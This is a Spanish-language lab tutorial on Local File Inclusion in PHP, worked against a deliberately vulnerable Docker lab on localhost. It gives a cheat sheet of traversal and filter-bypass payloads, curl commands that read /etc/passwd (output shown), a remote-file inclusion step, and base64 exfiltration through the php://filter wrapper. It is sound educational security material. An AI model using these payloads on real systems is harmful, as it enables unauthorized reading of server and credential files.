Post

Laboratorio - LFI

LFI (Local File Inclusion) es una vulnerabilidad web, de la cual nos podemos aprovechar para leer archivos de la máquina objetivo y en el mejor de los casos, para los atacantes, llegar a derivarlo a un RCE (Remote Code Execution)

Cheatsheet 👩‍💻

LFIDescripción
../../../../../../../../Payload Básico.
....//....//....//....//Bypass Posible Filtro.
/etc/./////.///hosts \ /et?/?o?t?Bypass Expresiones Regulares.
/etc/host%00 \ /etc/passwd/.Bypass Concatenación de Extensiones.
php://filter/convert.base64-encode/resource=[Path]Wrapper de Codificación en Base64.
%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64Bypass Posible Filtro. (Se urlencodea la cadena ../../../etc/passwd)

Para practicar esta vulnerabilidad desplegaremos un laboratorio con Docker: docker pull jnazario/lfi-labs

  • Como nos creó una imagen la ejecutamos haciendo por Port Forwarding: docker run -dit -p 80:80 <Image ID>

LFI Básico ⚾

  1. Para el primer laboratorio LFI-1 nos dirigimos a: http://localhost/LFI-1/

  • Vemos que existe un parámetro page por el cual podemos indicar una página.
  • Si el input del usuario no se encuentra correctamente sanitizado, podemos llegar a leer archivos alojados en el servidor (archivos de configuración, archivos críticos, etc)
  1. Intentaremos leer el archivo /etc/passwd
1
2
3
4
5
6
7
8
9
10
11
12
13
curl -s -X GET "http://localhost/LFI-1/index.php?page=/etc/passwd"

<SNIP>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
<SNIP>

Laboratorio LFI-3

  • Dependiendo del uso de determinadas librerías para incluir archivos, podremos leer archivos locales o incluir archivos de servidores externos.

  • Al usar file_get_contents() podemos leer archivos locales y externos

  • Leer Archivos Locales: http://localhost/LFI-3/index.php?file=/etc/passwd
    1
    2
    3
    4
    5
    6
    
      root:x:0:0:root:/root:/bin/bash
      daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
      bin:x:2:2:bin:/bin:/usr/sbin/nologin
      sys:x:3:3:sys:/dev:/usr/sbin/nologin
      sync:x:4:65534:sync:/bin:/bin/sync
      games:x:5:60:games:/usr/games:/usr/sbin/nologin
    
  • Leer Archivos Remotos:

    a. Primeros montamos un servidor HTTP con Python con un archivo test.txt que tenga el contenido Hola.

    • Comando: python3 -m http.server 8080

    b. Realizamos una petición con cURL a nuestro servidor:

    • Comando: curl -s -X GET "http://localhost/LFI-3/index.php?file=http://<IP Máquina Host>:8080/test.txt"

    • Output

      1
      2
      
        <SNIP>
        Hola
      

      Vemos el contenido de nuestro archivo test.txt de nuestra máquina host.

Laboratorio LFI-5

Al aplicar el payload básico veremos que no nos funciona, esto puede deberse a que se aplique un filtro mediante el cual eliminen ../, este filtro puede bypassearse, si no se encuentra aplicado correctamente.

1
2
3
4
5
6
<?php
$cadena = "../directorio/archivo.txt";
$reemplazo = "";
$nuevaCadena = str_replace("../", $reemplazo, $cadena);
echo $nuevaCadena; # nuevaCadena = directorio/archivo.txt
?>

Si nos fijamos bien en el código anterior, veremos que se elimina la coincidencia ../, pero, no se aplica de manera recursiva, es decir, solo lo elimina una vez.

En caso de indicarle ....// al eliminar una única vez ../ la cadena final será ../, así que ya encontramos una forma de bypassear el filtro posiblemente aplicado.

  • Comando: curl -s -X GET "http://localhost/LFI-5/index.php?file=....//....//....//....//....//....//....//....//etc/passwd"

  • Output

1
2
3
4
5
6
<SNIP>
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Usando Wrappers de PHP 🍬

A pesar de que en todos los casos anteriores obtenemos el archivo /etc/passwd exitosamente, existirán casos en los que representar archivos con una estructura con muchas líneas o caracteres especiales puede corromper la muestra del mismo, haciendo que no nos sea posible leer archivos. Para evitar este tipo de problemas podemos representar la información en base64

En el laboratorio LFI-1 podemos obtener el contenido encodeado en base64 usando php://filter/encode.base64-convert/resource=[Path Archivo]

  • Comando: curl -s -X GET "http://localhost/LFI-1/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd"

  • Output

    1
    2
    
      <SNIP>
      cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25v<SNIP>
    

Ahora, podemos decodear la cadena anterior y ver el contenido original

  • Comando: echo -n "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3N<SNIP>" | base64 -d > lfi.txt

This post is licensed under CC BY 4.0 by the author.